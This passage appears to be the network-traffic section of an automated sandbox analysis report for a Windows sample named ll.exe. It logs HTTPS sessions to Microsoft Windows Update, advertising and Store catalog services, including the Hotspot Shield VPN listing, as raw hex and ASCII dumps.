Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: b4313648-4220-4ed9-a885-e514253cdc77
MS-RequestId: fcaca677-3cfd-4cc3-b4b7-736ce3b74dd5
MS-CV: FMcLht1YPU6BgFde.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:31 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:31 UTC8648INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:31 UTC8664INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
55192.168.2.35003440.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:32 UTC8679OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=ac8063a32da047dabe6fd5f6a689fb6c&time=20220408T170310Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:32 UTC8679INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: b59b680a-b553-4946-a69c-2f900c677fff
Date: Fri, 08 Apr 2022 08:03:31 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
56192.168.2.35003640.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:32 UTC8679OUTGET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=cbed9efce7f24d8b9b00c27d1eebe749&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220408T170315Z&asid=ac8063a32da047dabe6fd5f6a689fb6c&eid= HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:32 UTC8680INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 3b6886b1-063b-4d50-8e6f-fe9952815c4d
Date: Fri, 08 Apr 2022 08:03:31 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
57192.168.2.35003552.242.101.226443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:32 UTC8680OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:32 UTC8680INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: cf9cbf41-0e86-4d38-87e1-9c1e3a1b088d
MS-RequestId: 7c1f90d0-9446-4bae-b4b4-b2111b170b1e
MS-CV: 0aN2V3D8CU6Zk+pX.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:32 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:32 UTC8681INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:32 UTC8696INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
58192.168.2.35003720.54.110.249443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:32 UTC8711OUTGET /v7.0/products/lookup?alternateId=PackageFamilyName&value=6F71D7A7.HotspotShieldFreeVPN_nsbqstbb9qxb6&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: ADE0AIiAz0+Cj5BW.0.2.4
Host: displaycatalog.mp.microsoft.com
2022-04-08 08:03:32 UTC8712INHTTP/1.1 200 OK
Connection: close
Date: Fri, 08 Apr 2022 08:03:32 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: f33b8a5f-ac14-456a-a88f-7ca633628ddb
MS-RequestId: b67ca5ba-689f-4deb-adca-85f7d2e12110
MS-CV: ADE0AIiAz0+Cj5BW.0.2.4.422987403.0.1.422987403.1502015328.0
X-Content-Type-Options: nosniff
MS-ServerId: 74
Region: neu
Node: aks-systempool-37630073-vmss00002m
MS-DocumentVersions: 9WZDNCRDFNG7|3613
2022-04-08 08:03:32 UTC8712INData Raw: 63 33 34 32 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 57 5a 44 4e 43 52 44 46 4e 47 37 22 5d 2c 22 48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 33 2d 30 32 54 30 31 3a 31 37 3a 35 30 2e 36 32 30 32 30 30 30 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 36 37 35 35 37 30 30 32 39 37 33 30 31 31 35 32 30 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 30 33 31 38 33 37 22 2c
Data Ascii: c342{"BigIds":["9WZDNCRDFNG7"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-03-02T01:17:50.6202000Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3067557002973011520","EISListingIdentifier":null,"BackgroundColor":"#031837",
2022-04-08 08:03:32 UTC8716INData Raw: 65 30 2d 65 34 34 38 37 38 37 65 39 37 32 65 2e 37 33 35 61 62 39 30 64 2d 35 38 31 37 2d 34 35 36 38 2d 39 64 62 64 2d 31 65 31 31 61 66 33 62 62 61 39 31 22 2c 22 57 69 64 74 68 22 3a 32 31 36 30 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 32 30 30 30 30 30 30 30 30 30 30 35 36 35 36 39 38 34 33 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 30 33 31 38 33 37 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 32 37 35 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67
Data Ascii: e0-e448787e972e.735ab90d-5817-4568-9dbd-1e11af3bba91","Width":2160},{"FileId":"2000000000056569843","EISListingIdentifier":null,"BackgroundColor":"#031837","Caption":"","FileSizeInBytes":12751,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","Imag
2022-04-08 08:03:32 UTC8720INData Raw: 5c 72 5c 6e 48 6f 74 73 70 6f 74 20 53 68 69 65 6c 64 20 56 50 4e 20 50 72 65 6d 69 75 6d 20 73 65 72 76 69 63 65 20 69 6e 63 6c 75 64 65 73 3a 5c 72 5c 6e 5c 72 5c 6e 2d 20 37 2d 64 61 79 20 66 72 65 65 20 74 72 69 61 6c 3a 20 66 72 65 65 20 6f 66 20 63 68 61 72 67 65 3b 20 6e 6f 20 63 6f 6d 6d 69 74 6d 65 6e 74 3b 20 63 61 6e 63 65 6c 20 61 6e 79 74 69 6d 65 2e 5c 72 5c 6e 2d 20 50 61 79 6d 65 6e 74 20 77 69 6c 6c 20 62 65 20 63 68 61 72 67 65 64 20 74 6f 20 79 6f 75 72 20 4d 69 63 72 6f 73 6f 66 74 20 53 74 6f 72 65 20 61 63 63 6f 75 6e 74 20 61 74 20 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 6f 66 20 70 75 72 63 68 61 73 65 2e 5c 72 5c 6e 2d 20 53 75 62 73 63 72 69 70 74 69 6f 6e 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 72 65 6e 65 77 73 20 75 6e 6c
Data Ascii: \r\nHotspot Shield VPN Premium service includes:\r\n\r\n- 7-day free trial: free of charge; no commitment; cancel anytime.\r\n- Payment will be charged to your Microsoft Store account at confirmation of purchase.\r\n- Subscription automatically renews unl
2022-04-08 08:03:32 UTC8724INData Raw: 75 63 74 54 79 70 65 22 3a 22 41 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 56 61 6c 69 64 61 74 69 6f 6e 44 61 74 61 22 3a 7b 22 50 61 73 73 65 64 56 61 6c 69 64 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 52 65 76 69 73 69 6f 6e 49 64 22 3a 22 32 30 32 32 2d 30 33 2d 30 32 54 30 31 3a 31 38 3a 34 31 2e 34 30 32 37 37 36 30 5a 7c 7c 2e 7c 7c 36 32 64 36 34 30 31 31 2d 62 34 38 63 2d 34 31 33 31 2d 62 36 36 36 2d 61 37 33 64 30 39 35 32 62 62 66 37 7c 7c 31 31 35 32 39 32 31 35 30 35 36 39 34 33 38 30 31 37 39 7c 7c 4e 75 6c 6c 7c 7c 66 75 6c 6c 72 65 6c 65 61 73 65 22 2c 22 56 61 6c 69 64 61 74 69 6f 6e 52 65 73 75 6c 74 55 72 69 22 3a 22 22 7d 2c 22 4d 65 72 63 68 61 6e 64 69 7a 69 6e 67 54 61 67 73 22 3a 5b 5d 2c 22 50 61 72 74 44 22 3a 22 22 2c 22 50 72 6f
Data Ascii: uctType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-03-02T01:18:41.4027760Z||.||62d64011-b48c-4131-b666-a73d0952bbf7||1152921505694380179||Null||fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","Pro
2022-04-08 08:03:32 UTC8728INData Raw: 43 4b 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 43 49 22 2c 22 43 57 22 2c 22 4a 4d 22 2c 22 53 4a 22 2c 22 4a 45 22 2c 22 4b 49 22 2c 22 4b 47 22 2c 22 4c 41 22 2c 22 4c 53 22 2c 22 4c 52 22 2c 22 4d 4f 22 2c 22 4d 4b 22 2c 22 4d 47 22 2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 4d 51 22 2c 22 4d 55 22 2c 22 59 54 22 2c 22 46 4d 22 2c 22 4d 44 22 2c 22 4d 4e 22 2c 22 4d 53 22 2c 22 4d 5a 22 2c 22 4d 4d 22 2c 22 4e 41 22 2c 22 4e 52 22 2c 22 4e 50 22 2c 22 4d 56 22 2c 22 4d 4c 22 2c 22 4e 43 22 2c 22 4e 49 22 2c 22 4e 45 22 2c 22 4e 55 22 2c 22 4e 46 22 2c 22 50 57 22 2c 22 50 53 22 2c 22 50 41 22 2c 22 50 47 22 2c 22 50 59 22 2c 22 52 45 22 2c 22 52 57 22 2c 22 42 4c 22 2c 22 4d 46 22 2c 22 57 53 22 2c 22 53 54 22 2c 22 53 4e 22 2c 22 4d 50 22 2c 22
Data Ascii: CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","
2022-04-08 08:03:32 UTC8732INData Raw: 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 44 46 4e 47 37 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 62 35 61 34 64 39 35 64 2d 61 39 61 66 2d 34 38 62 34 2d 62 35 37 62 2d 64 66 61 36 39 66 38 31 37 39 62 31 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 61 37 36 30 37 33 30 66 2d 66 37 37 31 2d 34 64 33 66 2d 62 65 34 36 2d 66 61 66 62 65 31 35 66 62 39 37 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 6e 73 62 71 73 74 62 62 39 71 78 62 36 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65
Data Ascii: lfillmentData":{"ProductId":"9WZDNCRDFNG7","WuBundleId":"b5a4d95d-a9af-48b4-b57b-dfa69f8179b1","WuCategoryId":"a760730f-f771-4d3f-be46-fafbe15fb97e","PackageFamilyName":"6F71D7A7.HotspotShieldFreeVPN_nsbqstbb9qxb6","SkuId":"0010","Content":null,"PackageFe
2022-04-08 08:03:32 UTC8736INData Raw: 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 32 32 31 34 32 37 39 34 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 35 30 33 39 37 31 38 34 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 4d 73 69 78 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 6e 73 62 71 73 74 62 62 39 71 78 62 36 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 32 2e 31 30 2e 35 2e 30 5f
Data Ascii: s":[],"MaxDownloadSizeInBytes":22142794,"MaxInstallSizeInBytes":50397184,"PackageFormat":"Msix","PackageFamilyName":"6F71D7A7.HotspotShieldFreeVPN_nsbqstbb9qxb6","MainPackageFamilyNameForDlc":null,"PackageFullName":"6F71D7A7.HotspotShieldFreeVPN_2.10.5.0_
2022-04-08 08:03:32 UTC8740INData Raw: 22 3a 22 57 69 6e 64 6f 77 73 2e 48 6f 6c 6f 67 72 61 70 68 69 63 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 43 6f 72 65 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 38 38 32 38 30 38 30 22 7d 5d 7d 2c 22 45 6e 64 44 61 74 65 22 3a 22 39 39 39 38 2d 31 32 2d 33 30 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 2c 22 52 65 73 6f 75 72 63 65 53 65 74 49 64 73 22 3a 5b 22 31 22 5d 2c 22 53 74 61 72 74 44 61 74 65 22 3a 22 31 37 35 33 2d 30
Data Ascii: ":"Windows.Holographic"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Core"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.8828080"}]},"EndDate":"9998-12-30T00:00:00.0000000Z","ResourceSetIds":["1"],"StartDate":"1753-0
2022-04-08 08:03:32 UTC8744INData Raw: 72 5c 6e 5c 72 5c 6e e2 96 ba 20 42 52 4f 57 53 45 20 53 45 43 55 52 45 4c 59 5c 72 5c 6e 53 74 61 79 20 73 65 63 75 72 65 20 77 69 74 68 20 6d 69 6c 69 74 61 72 79 2d 67 72 61 64 65 20 65 6e 63 72 79 70 74 65 64 20 74 72 61 66 66 69 63 20 62 65 74 77 65 65 6e 20 79 6f 75 72 20 64 65 76 69 63 65 20 61 6e 64 20 6f 75 72 20 73 65 72 76 65 72 73 20 77 68 69 6c 65 20 63 6f 6e 6e 65 63 74 65 64 20 77 69 74 68 20 48 6f 74 73 70 6f 74 20 53 68 69 65 6c 64 20 56 50 4e 2e 5c 72 5c 6e 5c 72 5c 6e e2 96 ba 20 53 54 41 59 20 50 52 49 56 41 54 45 5c 72 5c 6e 59 6f 75 72 20 70 72 69 76 61 63 79 20 69 73 20 6f 75 72 20 6d 69 73 73 69 6f 6e 2e 20 43 6f 6e 6e 65 63 74 20 74 6f 20 61 6e 79 20 6f 66 20 6f 75 72 20 72 65 6c 69 61 62 6c 65 20 56 50 4e 20 73 65 72 76 65 72 73
Data Ascii: r\n\r\n BROWSE SECURELY\r\nStay secure with military-grade encrypted traffic between your device and our servers while connected with Hotspot Shield VPN.\r\n\r\n STAY PRIVATE\r\nYour privacy is our mission. Connect to any of our reliable VPN servers
2022-04-08 08:03:32 UTC8748INData Raw: 69 7a 65 49 6e 42 79 74 65 73 22 3a 34 39 37 36 32 33 30 34 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 45 4d 73 69 78 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 6e 73 62 71 73 74 62 62 39 71 78 62 36 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 32 2e 31 30 2e 35 2e 37 30 5f 61 72 6d 5f 5f 6e 73 62 71 73 74 62 62 39 71 78 62 36 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 33 35 64 34 65 65 63 61 2d 33 61 31 34 2d 61 64 33
Data Ascii: izeInBytes":49762304,"PackageFormat":"EMsix","PackageFamilyName":"6F71D7A7.HotspotShieldFreeVPN_nsbqstbb9qxb6","MainPackageFamilyNameForDlc":null,"PackageFullName":"6F71D7A7.HotspotShieldFreeVPN_2.10.5.70_arm__nsbqstbb9qxb6","PackageId":"35d4eeca-3a14-ad3
2022-04-08 08:03:33 UTC8752INData Raw: 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 32 2e 31 30 2e 35 2e 37 30 5f 78 38 36 5f 5f 6e 73 62 71 73 74 62 62 39 71 78 62 36 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 39 64 30 64 30 63 66 35 2d 66 32 32 62 2d 34 37 36 31 2d 61 62 65 65 2d 66 37 30 66 38 30 34 62 37 30 61 62 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 30 39 37 30 34 37 38 35 39 32 2c 5c 22 70
Data Ascii: 6,\"content.isMain\":false,\"content.packageId\":\"6F71D7A7.HotspotShieldFreeVPN_2.10.5.70_x86__nsbqstbb9qxb6\",\"content.productId\":\"9d0d0cf5-f22b-4761-abee-f70f804b70ab\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814750970478592,\"p
2022-04-08 08:03:33 UTC8756INData Raw: 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a
Data Ascii: ,\"policy2\":{\"ageRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":
